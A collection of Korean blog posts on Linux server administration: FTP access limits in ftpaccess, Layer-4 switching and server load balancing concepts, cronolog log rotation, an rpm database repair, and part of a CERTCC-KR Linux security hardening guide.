위에서 나열한 root, uucp, news라는 사용자에 대해서는 FTP 접근 자체를 불 허한다. 즉 ftpusrs에 등록된 사용자는 접근 권한을 받는 것이 아니라 접근 권한을 제한 받는다는 것이다. 이들 열거한 사용자들이 너무도 강력하기 때문에 커다란 문제를 일으킬 소지가 크다. 동시 사용자 제한에 대해서 알아보자. 익명 FTP를 무한정 모든 사람들이 사용할 수 있게 할 수는 없다. 여러분의 서버 성능과 대역폭에 따라 세팅을 해야 할 것이다. 지역(local)사용자는 대역폭을 크게 요구하므로 더욱 적은 인원으로 제한해야 하며 원격(remote) 사용자는 전송률이 비교적 상당히 떨어지므로 훨씬 많은 인원을 수용할 수 있을 것이다. 그것을 설정하는 파일이 바로 /etc/ftpaccess 이다. limit local 20 Any /etc/msgs/msg.toomanylimit remote 100 SaSu|Any1800-0600 /etc/msgs/msg.toomanylimit remote 60 Any /etc/msgs/msg.toomany
우선 첫줄을 보면 지역 사용자는 어느 때든 (Any) 20명으로 제한한다. 그리고 사람이 너무 많아서 접근을 거부할 때는 /etc/msgs/msg.toomany라는 파일 내용을 보여준다. 두 번째 줄의 경우 원격 사용자의 경우 SaSu 즉 토요일 (Saturday), 일요일(Sunday) 또는 어느 날이든 18시부터 06 시까지는 100명으로 제한한다. 이 조건을 만족하지 않으면 60명으로 제한된다. 조건식에 있어서 첫 번째 조건식이 유효하면 그것만 적용한다는 사실을 기억하기 바란다. 두 번째 줄이 원격 사용자에게 적용되면 세 번째 줄은 처리하지 않는다. 사용 인원을 -1로 세팅하면 인원 제한을 없애는 것이다.
다음 이전 차례
Posted by tornado
Layer-4 Switching 개념이해(1)
LAN에서는 현재 각종 스위칭 기법들이 범람하고 있어서 춘추 전국시대를 방불케 하고 있다. 예를 들면, 3계층 스위칭, 4계층 스위칭, 무 계층(Layerless) 스위칭, 태그(Tag) 스위칭, IP 스위칭, 네트워크 계층 스위칭, 멀티레이어 스위칭, MPLS(MultiProtocol Label Switching) 등등. 이런 기법들이 미래 네트워킹 솔루션의 중요한 부분들이 될 것은 확실하다. 한마디로 말하면, 이런 스위칭 기법들의 대부분은 네트워킹 요소 중의 라우팅 측면에 대해 업체 또는 단체 고유의 해답을 제시하고 있으며 이런 방안들을 통해 네트워크가 이전에 비해 더 나은 성능을 제공하게 하여 네트워크의 확장성을 제고하는데 그 목적을 두고 있다고 말할 수 있다.
우선, 이러한 여러 가지 스위칭 기법들의 등장 배경인 라우터의 한계에 대해 알아보고 각종 스위칭 기법들에 대해 살펴보기로 하자.
라우터의 한계 (Layer-4 Switch의 등장배경)
지난 수년간 라우터에는 많은 기능들이 부가되었다. 라우터는 멀티프로토콜을 지원하며 LAN과 WAN을 연결해주고 구성 파라메터들도 수백 개로 늘어나 세련된 패킷 필터링이 가능하게 되었으며 네트워크에 대해 과거에 비해 상당한 제어력도 제공해주고 있다. 고속의 프로세서와 메모리 덕분에 라우터의 성능을 저해하지 않고 많은 기능을 제공할 수 있었다. 하지만, 네트워크에서 갈수록 더 많은 트래픽을 처리하게 되자 모든 패킷의 헤더를 처리해야만 하는 라우터에서 정체 현상이 빈번하게 발생하기 시작했다. 설상가상으로 라우터에서 정체가 발생하면, 라우터는 패킷을 폐기하기 시작하고 이는 다시 출발지의 재전송을 초래하여 상황은 더욱 악화되기도 한다. 물론, 이에 대한 각종 큐잉 기법이나 캐싱 기법들이 있기는 하지만 근본적인 해결 방안은 되지 못하고 있다. 또한, 확장성이 매우 뛰어난 라우터도 있으나 문제는 가격이 만만치 않다.
그렇다면, 어떻게 이 문제를 해결할 수 있을까? 답을 찾기 위해 잠시 시장에 들르기로 하자. 시장에서는 손님이 살 물건을 가져오면 주인이나 점원이 가격을 계산하고 돈을 지불하면 물건을 준다. 하지만, 손님이 많고 손님들이 구매한 물건의 종류가 늘어나면 계산대에는 줄이 늘어선다. 손님이 늘고 물건 종류가 늘어날수록 줄은 더 길어진다. 또한, 줄 중간에 신용카드나 수표로 지불하는 사람이 있으면 상황은 더 악화되어 대기 시간이 더 늘어난다.
최근 몇 년 동안 갑자기 수가 늘어난 양판점이나 대형 슈퍼마켓에서는 이에 대한 해답을 제공하고 있다. 슈퍼마켓에서는 손님이 물건을 가져오면 계산대의 점원이 바코드 리더로 물건에 붙어있는 바코드를 읽는다. 그러면 가격이 아주 신속하게 계산된다. 또한, 수표나 신용 카드 구매자들과 현금 구매자들은 서로 다른 계산대를 이용한다.
즉, 슈퍼마켓에서는 최소의 비용으로 사용자의 대기 시간을 최소화하고 서비스를 개선하기 위해서 바코드를 도입하였고 사용자 유형별로 별도의 계산대를 마련하고 있으며 계산대의 수도 시장의 점포보다 많이 가지고 있다. 또한, 점원들도 386 세대가 아닌 586 세대가 주류를 이루고 있다. 한마디로 말하면, 최근의 대형 매장에서는 바코드(라벨), 바코드를 기반으로 한 가격 계산(라벨 스위칭), 더 빠른 점원(라우터)과 늘어난 계산대(대역폭)를 모두 갖추고 있는 셈이다.
Layer-4 Switch 선택시 고려 사항
4계층 스위치는 트래픽 플로우에 따라 더 한층 정밀한 네트워크 튜닝(Tuning)과 우선 순위 부여 기능을 통해 2/3계층 스위칭을 한 차원 끌어올린 장비라 할 수 있다. 2계층 스위치는 MAC(Media Access Control) 어드레스를 사용하여 스위칭 기능을 수행하고 3계층 스위치는 IP 같은 네트워크 어드레스를 기반으로 라우팅을 하며 4계층 스위치는 4계층 프로토콜의 헤더 정보를 이용하여 정책 기반의 라우팅을 수행한다.
또한, 4계층 스위치는 어플리케이션에 따라 트래픽에 대한 우선 순위부여 기능도 수행한다. 이 기능은 네트워크 관리자들에게 어플리케이션을 제어할 수 있는 능력을 제공한다. 그리고 4계층 스위치는 네트워크 전반에 대한 CoS(Class of Service) 구현 방법을 제공한다.
4계층 스위치를 도입할 경우에는 다음 몇 가지 사항을 사전에 고려해야만 한다.
▶ 포트에 대한 우선 순위 부여 방안
어떤 어플리케이션이 어떤 포트를 사용하고 있는가? Well-known 포트 이외의 포트 번호를 사용하고 있는 어플리케이션의 포트 번호를 정확하게 파악하고 있어야만 Mission-critical Application에 상응하는 우선 순위를 부여할 수 있다. 또한, 포트 번호가 동일한 어플리케이션을 여러 명의 사용자가 동시에 사용하고 있다면 무엇을 기준으로 우선 순위를 부여할 것인가? 또한, 시시각각으로 포트 번호가 바뀌는 어플리케이션에 대해서는 어떤 방식으로 우선 순위를 부여할 것인가?
▶ 표준화 작업
아직까지는 복합(Heterogeneous) 네트워크 환경에서의 4계층 스위칭에 대한 표준이 없다. 즉, 여러 제품 공급업체들 간의 우선 순위 부여 방식이나 처리 방식이 서로 달라서 상호 운용성 (Interoperability)이 떨어진다.
▶ 중복 기술
IEEE 802.1p 표준도 트래픽에 대한 우선 순위 부여 기능을 가지고 있으며 4계층 스위치도 우선 순위 부여 기능을 가지고 있다. 이 경우, 언제 어떤 기술을 사용할 지를 결정해야 한다.
4계층 스위치는 어플리케이션 기반의 트래픽 우선 순위 부여 분야에서 많은 가능성을 가지고 있으나 네트워크 관리자는 4계층 스위치가 제공하는 고급 기술을 사용하기에 앞서 전술한 사항에 대한 준비를 갖추고 있어야 할 것이다.
Load Balancing(부하 분산) 기능
현재 많이 사용되고 있는 네트워크 장비들 즉, 2/3계층 스위치들이 네트워크 자체의 성능 개선을 통한 확장성 개선에 초점을 두었다면, 최근 등장하고 있는 4계층 이상을 지원하는 스위치는 사용자들에게 제공되는 서비스에 초점을 둔 장비들이라고 할 수 있다.
이런 스위치들은 게이트웨이(Gateway)와 마찬가지로 사용 목적에 따라 접두어가 붙는 경우가 많다. 즉, TCP/IP 네트워크와 IBM 호스트를 연동하기 위해 사용하는 게이트웨이를 3270 게이트웨이나 SNA 게이트웨이 혹은 SNA 서버라고 부르는 것처럼 부하 분산 스위치 또는 웹 스위치처럼 사용 목적에 따라 이름을 붙이는 경우가 많다.
인터넷의 보급 확산으로 기업과 단체는 물론이고 개인들도 웹을 통해 인터넷을 많이 사용하고 있다. 예를 들면, 웹 기반의 인트라넷, 쇼핑 몰, 검색 엔진, 사이버 주식 조회/거래, 사이버 스쿨 등이 널리 이용되고 있으며 앞으로는 더욱 더 많이 이용될 전망이다. 이런 서비스들의 특징은 다수의 사용자들이 동일한 내용(Content)에 동시에 액세스한다는 것이다.
사용자가 많지 않을 경우에는 단지 1 ~ 2대의 서버를 두고 캐싱 기술을 사용하여 어느 정도 원활한 서비스를 제공할 수 있으나, 사용자의 수가 늘어감에 따라 동시 접속 사용자 수도 늘어나게 되어 정체 현상이 발생하게 된다. 이럴 때는, 여러 대의 서버를 부하 분산 스위치에 연결하여 동시 접속 사용자들의 요청(Request)을 여러 대의 서버에 고르게 분산시켜서 원활한 서비스를 제공한다.
참고 : TCP 포트 번호
* TCP 포트 번호 0 ~ 1023은 네트워크 전체에서 어플리케이션이 사용하는 등록된 Well-known 포트 번호이다.
** ---- 에플리케이션층 프로토클 / 포트 번호 -----
----FTP / 20(데이타), 21(컨트롤)
----Telnet / 23
----SMTP / 25
----HTTP / 80
----NNTP / 119
----SNMP / 161, 162(SNMP 트랩)
Layer-4 Switching 개념이해(2)
Server Load Balancing(서버 부하 분산) 지원
서버 부하 분산
Internet을 기반으로 한 Network 환경이 날이 갈수록 복잡해지고 무거워지고 있다. 사용자들 client들은 예를 들어 HTTP라는 하나의 서비스를 받기 위해 Internet 어느 공간상의 실제 HTTP 서버에 접속하여 원하는 서비스를 받게 된다. 즉 서버가 Internet이라는 Network 환경에 붙어만 있다면 사용자들은 그것의 실질 적이며 물리적인 위치나 주소는 문제가 되지 않고 서비스를 받을 수 있다.
그러나 서버의 입장에서는 사용자들 client들의 입장보다 더 복잡한 문제를 갖는다. 사용자의 입장에서와 같이 서버도 Internet의 어느 한 공간에 접속되어 있다면 사용자에게 서비스를 제공하는 방법적인 문제에는 다를 것이 없으나, 서비스를 안정적으로 그리고 지속적으로 아주 많은 사용자들에게 제공하기 위해서는 서버 자신이 서비스를 처리할 수 있는 능력이 아주 강해야만 한다. 더 많은 사용자에게 정확한 서비스를 하기 위해서는 지금보다 더 강력한 성능의 서버 - 처리 능력이 우수한 - 로의 업그레이드가 거의 유일한 해결책이 되어 왔다. 그러나 현실적으로 무한정 서버를 업그레이드할 수는 없다.
위와 같은 문제를 해결하기 위하여 많은 방법들이 개발되었고 시도되었다. Cache Server를 두어 자주 참조되는 서비스를 WAN Traffic이 아닌 저장된 Local Traffic으로 처리하는 방법이나, 여러 개의 서비스, 예를 들어 HTTP, FTP, SMTP, POP3, NNTP 등를 각기 다른 서버에 두는 방법, 그리고 같은 기능을 하는 동급 수준의 서버를 여러 대 두어 전체 트래픽의 일부분만을 담당하게 하는 방법이 그것이다.
마지막 방법은 기존의 서버보다 아주 고성능의 서버 한대를 구입하는 것보다 동급 수준의 서버를 여러 대 두고, DNS에 같은 URI에 서로 다른 서버의 IP 주소를 할당함으로써 URI 참조시 각기 다른 서버에 서비스를 접속시켜주는 방법으로 서버 한대가 모든 서비스를 주관할때 보다 가격대 성능비로 우수한 효과를 낼 수 있다. 그러나 DNS에 의한 서버 부하 분산 방법은 IP 할당시 Round-Robin 방법이 사용하기 때문에 특정 서버의 장애나 경로상의 문제가 발생할 때는 원래의 목적했던 부하 분산을 하지 못할 수 있게 된다.
4계층 서버 부하 분산 Server Load Balancing (이하 SLB)이란 DNS에 의존하지 않고 다수의 서버들을 하나의 VIP (가상 IP 주소)로 묶어 사용자들에게는 VIP 만을 알려주고 SLB 제어를 통하여 IP address 뿐만아니라, 4계층의 TCP/UDP Port 로도 어떠한 서버의 장애에도 서버들간에 올바른 부하 분산을 할 수 있게 해주는 방법이다.
4계층 스위칭과 서버 부하 분산
▶ 4계층 프로토콜 유형(Type) 별로 트래픽 스트림(Stream) 구분
⊙ TCP 또는 UDP Port 번호
⊙ 나머지 Traffic Stream은 TCP 만을 사용하거나 별로 많지 않음
⊙ Well Known Socket Type - 예를 들면, FTP, HTTP, POP3, NTTP 등
⊙ 사용자 정의 Socket Type - 4004, 4500, 8001 등
⊙ 세션(Session)을 다음과 같이 정의할 수도 있다.
⊙ 목적지 IP + TCP/UDP 목적지 Port 번호 + 출발지 IP + TCP/UDP 출발지 Port 번호
▶ 4계층 필터링(Filtering)
⊙ 서비스 차단(Deny Service) - 특정 IP 주소에 대한 FTP 트래픽을 허용하지 않음
▶ 4계층 QoS - Hi Priority 또는 Normal Queuing
⊙ 스태커블 장비는 High Queue와 Normal Queue 구현
⊙ BirIron은 4개의 Priority Queue 구현
▶ 4계층 서버 부하 분산
⊙ TCP/UDP port Type을 기준으로 부하 분배
⊙ Hot Standby Redundancy - 서버와 스위치에 대해 Failover 기능 제공
Layer-4 Switching 개념이해(3)
서버 부하 분산
⊙ 사용자들은 하나의 VIP (가상 IP 주소)로 접속을 하지만 실지로는 다수의 물리적인 서버들이 서비스 제공
⊙ Traffic은 4계층 (이하 L4) Type에 따라 특정 서버로 전달
(보기)
⊙ HTTP 트래픽은 서버 1과 2로
⊙ FTP 트래픽은 서버 2와 3으로
⊙ 그리고, Email은 서버 4로
3가지 접속(Connection) 분산 정책
⊙ Round Robin - 차례대로 서버에 연결
⊙ Least Connections - Connection 갯수가 가장 적은 서버로 연결 (가장 최근의 접 속 요청 시점을 기준으로 함)
⊙ Weighted Distributions - 백분율(%)을 기준으로 부하 분배
⊙ 실제 서버 당 최대 접속 수를 설정, 집행
⊙ 서버의 용량 초과 문제를 없앰
⊙ 다른 유형의 트래픽은 초기 구성된 대로 실제 서버에 연결
서버/서비스 장애 복구
▶ 수차에 걸쳐 연속적으로 접속 장애가 감지되면 해당 서비스는 사용할 수 없는 것으 로 간주한다.
(사용자가 정의 가능하며 디폴트 값은 2)
⊙ 동일한 서비스를 제공하기 위해 사전에 구성된 다음 서버로 Failover (즉, HTTP, FTP, POP3, NTTP, 사용자 프로그램 등)
⊙ 그림에서, 서버 #2 상의 HTTP 서비스에 장애가 발생했으나 FTP 서비스는 여전히 동작 중임
⊙ 다른 서비스 포트(서비스 Port)들은 분배 정책(Round Robin, Least Connection, Weighted)에 대한 Pool이 된다.
▶ 장애가 발생했던 서비스가 복구되었는지를 주기적으로 검사한다 (검사 간격은 사용자 가 정의할 수 있으며 디폴트는 매 30 초)
▶ 서버 전체를 다운 시키지 않고 특정 서 비스 (HTTP)만 다운 시킬 수 있으므로 다른 서비스는 계속 운용할 수 있다.
▶ 유지보수를 위해 서버를 대체/수리 한 뒤에 서버 팜 (서버 팜) Pool에 다시 넣을 수 있다.
스위치 장애 복구(Failover) - 탁월한 가용성
▶ 전용 Synchronization Link
⊙ 1초 이내에 주(Primary) 스위치의 장애를 감지
⊙ 케이블 장애에 대비하여 최대 4 회선의 트렁크 그룹(Trunk Group)을 사용할 수 있 음
▶ 다음에 대한 공통 도메인 필요(Common Domains)
⊙ 스위치들과 실제(Real) 서버들
⊙ 스위치들에 대한 이중 접속(Dual-connect) 서버들을 연결(Hub)
▶ 두 스위치가 동시에 트래픽을 “청취”
⊙ 주(Active) 스위치는 클라이언트의 트래픽을 실제 서버로 전달
⊙ 백업(Standby) 스위치도 Network Address Translation (NAT) Table을 구축하나 대기 (Standby) 상태일 경우에는 어떤 그래픽도 전달 하지 않음
▶ 두 스위치 모두 동일한 MAC 주소로 지정 (대개는 Primary 스위치의 MAC 주소)
⊙ 백업 스위치 주소를 찾기 위해 ARP를 다시 하지 않음 (이유 - Primary와 동일하므로)
⊙ 클라이언트들은 백업 스위치가 활성화(Active) 상태에 있다는 것을 전혀 감지하지 못함
⊙ 백업 스위치가 활성화 상태로 되면 이를 알리기 위해 SNMP Trap을 생성
▶ 스위치에 장애가 발생할 경우 …
⊙ Sync Trunk는 초 당 10회 폴링(Polling)
⊙ 주 스위치가 백업 스위치와 통신에 실패하기 전까지의 동기화 된 세션 정보는 그대로 유 지됨
⊙ 장애가 발생하면 Backup 스위치가 “Active” 상태로 되어 제어권을 행사
⊙ 서버에 대한 클라이언트의 접속은 주 스위치에서 백업 스위치로의 Failover 동안에도 유 지됨.
⊙ 망실된 패킷(Packet)에 대한 재시도는 클라이언트/서버가 재개
▶ 주 클라이언트나 하위의 라우터는 ARP를 할 필요가 없음
⊙ 두 스위치는 동일한 MAC 주소로 구성되어 있음
⊙ 장애동안, 백업 스위치는 “Active” 스위치로 동작하여 트래픽이 흐르게 됨
▶ 서버 팜이 운용되는 중에 Primary 스위치를 교체할 수 있음
백업 스위치는 주 스위치가 Sync Link에 연결되었음을 감지하여 다시 “비활성(Inactive)” 상태로 Fallback 한다
Posted by tornado
http://cronolog.org/download/index.html 에서 cronolog 를 다운로드 받아서
암데나 압축을 푼다..
압축 푼 디렉토리에서 컴파일~
# ./configure
# make
# make install
헐... 끝~!
프로그램은 /usr/sbin/ 안에 보면 cronolog 라는게 있다...
이제 httpd.conf 파일의 Custom Log 부분을 고치기만 하면 된다.
보통 common 로그 패턴으로 되어있는데... 남기고 싶은 로그 타입으로 설정하거나
여러개 설정해도 된다.
CustomLog "|/usr/local/sbin/cronolog /usr/local/apache2/logs/%Y/%m/access_log.%Y%m%d" common
라고 입력한다..
이러면 아래와 같은 형태로 로그가 저장된다.
/usr/local/apache2/logs/2004/05/access_log.20040524 와 같은 형태가 된다.
이제 웹 얼라이져 같은 툴로.. 로그를 분석하면 된다.
위 사이트를 잘 읽어보면... 좋은 방법이 많이 나올듯~
---------------------------
언제 사이트 관리 고수가 될지 캬캬
Posted by tornado
rpm 설치 또는 삭제, 조회시에 db가 꼬였네~ 어쩌네 하는 메세지가 나올때가 있는데, 이럴때는 아래와 같은 방법으로 해결할 수 있다. /var/lib/rpm 디렉토리에 보면 __db 로 시작하는 파일 이름들이 있는데.. 이 파일들을 싹 지운다. # rm -f __db* 이렇게 파일을 삭제하고 나서... rebuilddb 를 해주면 rpm 이 제대로 작동한다. # rpm --rebuilddb
Posted by tornado
CERTCC-KR 전병기 (bkjeon@certcc.or.kr) 2001. 03. 29 1. 리눅스 서버 운영체제의 Security Risk 리눅스는 지난해 세계 서버 OS시장 점유율이 27%로 전년(25%)에 비해 증가세를 나타냈다. 이는 1999년 가장 성장속도가 빠른 OS로 기록된 리눅스가 지난해에도 꾸준한 성장세를 유지했음을 의미한다. 이와 관련, MS의 스티브 발머 CEO는 최근 리눅스가 윈도에 대한 최대의 위협요소라고 말했다. 국내에서도 리눅스를 탑재한 중소형 서버가 꾸준히 증가하는 추세이다. 이는 벤처를 포함한 국내 중소기업과 초중고등학교등을 포함한 교육기관등이 전산망 구축을 위해 상대적으로 저렴한 리눅스 서버를 채택하면서 증가세를 부추기고 있는 것으로 풀이된다. 이런 추세라면 리눅스 서버는 엔터프라이즈급 서버에서 MS를 누르고 정상을 차지할 날도 머지않다고 본다. 리눅스 OS가 이렇게 인기가 좋은 이유중 하나는 저렴하다는 것과 쓰임새에 있어 강력하다는 것일 것이다. 그러나 강력한 시스템인 동시에 관리하기 어렵고, 그에 따른 Security Risk도 크다는데 문제가 있다. 리눅스 시스템은 본질적으로 취약성을 지니고 있는데, 이런 취약성을 이용한 악의적인 공격이 날로 증가하는 추세이다. 리눅스 서버의 보급이 확대됨에 따라, 악의적인 공격자(해커)에 의한 시스템 침입, 정보 변조 및 유출등 침해 사고가 잇따르고 있다. 이에 리눅스 서버에 대한 보안 문제가 크게 대두되고 있는 실정이다. 이에 시스템 관리자는 단순한 시스템 관리뿐만 아니라 시스템 보안까지도 염두해 두어야 한다. 본문은 리눅스 시스템 관리자에게 있어 기본적이면서 일반적인 보안 가이드를 설명한 문서로서, 침해사고대응팀내 사고 처리시 피해 기관 관리자에게 구체적이면서 일반적인 보안 가이드로 제공가능한 문서이다. 본문은 또한 RedHat 6.0 기준으로 설명하고 있지만 다른 리눅스 시스템에도 적용 가능하다. 2. 리눅스 시스템의 일반적인 보안 지침 1) 시스템 설치 시스템의 안전에 있어, 최상의 시점은 설치 시점이다.
설치함과 동시에 보안 조치를 취하지 않으면 공격자의 표적이 되기 십상이기에 시스템의 안전을 위해 설치 시점에서부터 보안을 고려하여 관리해야 한다.
시스템을 고립된 네트워크에 위치시켜 한시도 이 시스템을 네트워크에 연결하거나 연결 가능한 위험에 노출시켜서는 안된다. 그래서 중요한 파일과 패치를 받기 위해서는 중간에서 중계를 해줄 또하나의 시스템이 필요하다.
이 두 번째 시스템은 인터넷으로부터 필요한 파일을 다운받아 CDROM에 저장하거나 외부와 차단된 네트워크에 연결해 파일을 전송하는 등의 방법으로 필요한 파일을 전달한다.
일단 고립된 네트워크에 위치시키고 나면 설치할 준비는 끝난다.
첫 번째 단계는 로드할 OS 패키지를 선택하는 것이다. 레드햇 6.0은 Workstation, Server, Custom의 3가지 옵션이 있는데 디폴트로 Custom이 설정되어 있다.
Custom을 선택하기를 권하는데, 그래야 실행하고자 하는 서비스를 선택할수 있고 시스템 파티션의 설정도 자신이 선택할수 있다.
잠재적인 보안 취약점을 줄이면서 최대의 효과를 보기 위해 최소한의 패키지만을 설치한다.
옵션을 선택하였다면, 매뉴얼 페이지와 HOWTO 문서를 필히 추가하도록 한다.
온라인 매뉴얼과 문서들은 주요한 보안 자원이다. Top 2) 파티션 구성 Custom 옵션을 선택하였으면, 파티션 구성 화면이 나타난다.
루트 파티션은 가능한 크게 만들고 모든 것은 루트 파티션에 설치한다.
또한 시스템 로그와 e-mail이 저장되는 /var 파티션 분할을 권장한다.
루트 파티션만이 존재하면 시스템 로그와 e-mail등의 데이터들에 의해 루트 파티션이 가득차서 서비스 거부 상태가 될 수 있으므로 /var 파티션을 분할 사용해야 한다. 용량은 대체로 400MB 정도로 한다.
그런데 특정 어풀리케이션을 위해 또는 사용자가 많은 경우 /home 파티션을 별도로 운영하든지, 로그 파일만 따로 저장하기 위해 다른 파티션도 고려할수도 있다. 3) 패치 설치 설치후 시스템이 재시동되고 나면 패치를 설치한다. 패치는 OS별로 제공되어지는데 참고로 레드햇 리눅스는 다음 사이트를 참조하기를 바란다. ▶ 레드햇 리눅스 패치 사이트 http://www.redhat.com/support/errata/ 이 패치들을 적용하지 않으면 시스템은 쉽게 침해당할 것이다. 또한 리눅스 시스템은 고립된 네트워크에 연결된 채 중계 서버를 통해 패치되어야 함을 잊지말도록 한다. 레드햇의 경우 rpm 파일을 다운받으면 다음의 명령어를 통해 쉽게 설치할수 있다. rpm -Uvh wu-ftpd-2.6.0-l.i386.rpm : wu-ftpd 패치하는 명령어 네트워크에 연결된 시스템이라면 ftp를 이용해 다음과 같이 설치할수도 있다. rpm -Uvh ftp://updates.redhat.com/5.2/i386/wu-ftpd-2.6.0-l.i386.rpm 레드햇 6.1의 경우 'up2date'라는 패치 유틸리티가 있는데 이 툴을 사용할 것을 강력하게 추천한다. 이툴을 로컬 시스템에서 실행하면, 업데이트되어져야 할 rpm 파일이 어떤 것인지 결정하고 레드햇 웹사이트에서 찾아 스스로 다운로드 받고 설치할 정도로 사용하기 쉽다. Top 4) 서비스 제거 리눅스 시스템을 보안 위험으로부터 보호하는데 있어, 제일 처음으로 하는 작업이 바로 불필요한 서비스의 제거하는 것이다. 이는 주로 불필요한 서비스를 제거하고 로깅을 추가하며, 몇 개의 파일 수정 및 SSH 또는 TCP Wrapper를 설정하는 작업이다. 리눅스 시스템은 디폴트로 여러 유용한 서비스를 설정하고 실행하도록 되어있다. 그러나 이서비스들의 대부분은 필요하지 않으며 보안측면에서 볼 때, 잠재적인 위험을 지니고 있다. 먼저 /etc/inetd.conf 파일을 보자. 이화일에는 디폴트로 여러 다양한 서비스들이 설정되어 있으나 대부분 ftp와 telnet만이 필요하다. 다른 불필요한 서비스들은 코멘트(#)로 처리하여 제거하도록 한다. 예) # ...
# ....
ftp stream tcp nowait root /usr/sbin/tcpd in.ftpd -l -L -i -o
telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd
#gopher stream tcp nowait root /usr/sbin/tcpd gn
#smtp stream tcp nowait root /usr/bin/smtpd smtpd
#nntp stream tcp nowait root /usr/sbin/tcpd in.nntpd pop, imapd, rsh과 같이 inetd에 의해 실행되는 많은 서비스들이 보안 취약점에 노출되어 있다. 다음 명령어를 이용하면 코멘트 처리된 서비스들을 확인할수 있다. 이 명령어는 코멘트 처리되지 않은 서비스들을 보여 준다. grep -v "^#" /etc/inetd.conf ▶불필요한 서비스 제거를 위한 단계별 명령어 순서 ① [root/]#chmod 600 /etc/inetd.conf : 소유자(root)만이 읽기/쓰기가 가능하도록 퍼미션을 바꿔준다. ② [root/]#stat /etc/inetd.conf : 소유자가 root인지 보증한다. ③ inetd.conf 파일을 위와 같이 코멘트 처리 및 편집한다. 편집이후에는 다음처럼 시그널을 보내야 한다. [root/]#killall -HUP inetd Top ④ [root/]#chattr +i /etc/inetd.conf : super-user만이 이 파일에대해 접근할수있도록 ‘inetd.conf’파일을 셋팅하는 것으로 일단 셋팅되면 수정, 삭제 또는 rename할수 없다. 셋팅은 super-user만이 할수 있다. 나중에 inetd.conf 파일을 수정하고자하면 플래그를 -i로 바꿔주면 된다.
다음은 init 프로세스에 의해 어떤 서비스가 시작될지 결정하는 .rc 스크립트들이다.
레드햇의 경우 이스크립트들은 /etc/rc.d/rc3.d에 있다.
자동으로 Gnome이나 KDE등의 GUI 환경으로 부팅되도록 설정되어 있다면 /etc/rc.d/rc5.d에 있다. 시동되도록 되어 있는 것을 멈추게 하려면 소문자 s를 대문자 S로 바꾼다.
또 원한다면 레드햇의 유틸리티를 사용할수 있다. 명령행에서 “/usr/sbin/setup”라고 쓰고 “System Services”를 선택하면 부트 프로세스중에 구동시킬 스크립트를 선택할수 있다.
다른 방법은 대부분의 배포판엣 볼수 있는 ‘chkconfig’를 사용하는 것이다.
다음의 스크립트들은 디폴트로 설치되는 것들이나 시스템에서 주요한 기능은 하지 않는 것들이다. 필요하지 않다면 시동되지 않도록 설정한다. 스크립트 | 설 명 | S05apmd | laptop에만 필요 | S10xntpd | Network Time Protocol | S11portmap | NIS, NFS같은 rpc 서비스가 있을때만 필요함 | S15sound | 사운드 카드 설정 저장 | S15netfs | nfs client, nfs 서버에서 파일시스템을 마운트할 때 사용 | S20rstatd | r 서비스 실행을 하지 않도록 함, 원격 사용자에게 너무 많은 정보를 제공함. | S20ruserd | | S20rwhod | | S20rwalld | | S20bootparamd | 디스크가 없는 클라이언트에서 사용 | S25spuid | 프락시 서버 | S34yppasswdd | NIS 서버에만 필요함, 아주 취약한 서비스 | S35ypserv | NIS 서버에만 필요함, 아주 취약한 서비스 | S35dhcpd | dhcpd 서버 데몬을 구동함 | S40atd | 크론과 비슷한 at 서비스에 이용 | S45pcmcia | laptop에만 쓰임 | S50snmpd | SNMP 대몬, 시스템 관련 정보를 원격사용자에게 보냄 |
Top 이름에 포함된 숫자들은 초기화되는 순서를 결정하는 요소로서, 이것은 어떤 배포판인지 어떤 버전인지에 따라 달라진다. 이미 구동되고 있는 서비스를 중단시키기 위해서는 대문자S대신에 대문자 K를 사용한다. 스크립트 | 설 명 | S55named | DNS 서버, 사용한다면 최신으로 업데이트한다.http://www.isc.org/bind.html | S55routed | RIP, 정말 필요한 경우가 아니면 실행하지 않는다. | S60lpd | 프리팅 서버 | S60mars-nwe | Neteware file과 프린터 서버 | S60nfs | NFS 서버에 사용, 꼭 필요하지 않으면 실행하지 않는다. | S72amd | AutoMount 대몬, 원격 파일시스템 마운트에 사용 | S75gated | OSPF와 같은, 다른 라우팅 프로토콜 구동에 사용 | S80sendmail | 이 스크립트를 정지시키더라도 여전히 email를 보낼 수 있으며, 단지 수신이나 중계는 불가능할 것이다. | S85httpd | 아파치 웹서버, 가장 최신 버전으로 업데이트할 것을 권고한다.http://www.apache.org | S87ypbind | NIS 클라이언트라면 필요함 | S90xfs | X 폰트 서버 | S95innd | News 서버 | S99linuxconf | 브라우져를 통해서 리눅스 시스템을 원격으로 구성하는데 사용 |
부팅시 스크립트를 변경하기 전에 얼마나 많은 서비스들이 실행되고 있는지 알려면 다음 명령어를 사용한다. ps aux | wc -l 조정후 확인하기 위한 명령어는 다음과 같다. netstat -na --ip Top 5) Logging과 option 조정 가능한 많은 서비스들을 제거하며, 서비스에 대한 로깅을 설정해야 한다.
모든 시스템은 /var/log에 로그를 남긴다. 디폴트로 리눅스는 ftp를 제외하고는 훌륭하게 로그를 남긴다.
ftp 로깅을 하려면 두가지 방법이 있다.
/etc/ftpaccess 파일을 설정하는것과 /etc/inetd.conf 파일을 수정하는 것이다.
/etc/inetd.conf 파일을 수정하는 것이 더 간단하기 때문에 이 방법을 권한다.
FTP 세션에 대한 모든 것을 로깅하기 위해서는 /etc/inetd.conf 파일을 다음과 같이 수정한다. ftp stream tcp nowait root /usr/sbin/tcpd in.ftpd -l -L -i -o -l 옵션을 사용하면 각 ftp 세션이 syslog 파일에 기록된다. -L 옵션은 ftp 서버가 시동되자 마자 커멘드 로깅이 시작된다. 즉 사용자가 ftp 접속시 사용하는 모든 명령어가 syslog에 남게 된다. -i 옵션은 ftpd에 의해 파일을 받으면 xferlog(5)에 로그를 남긴다.
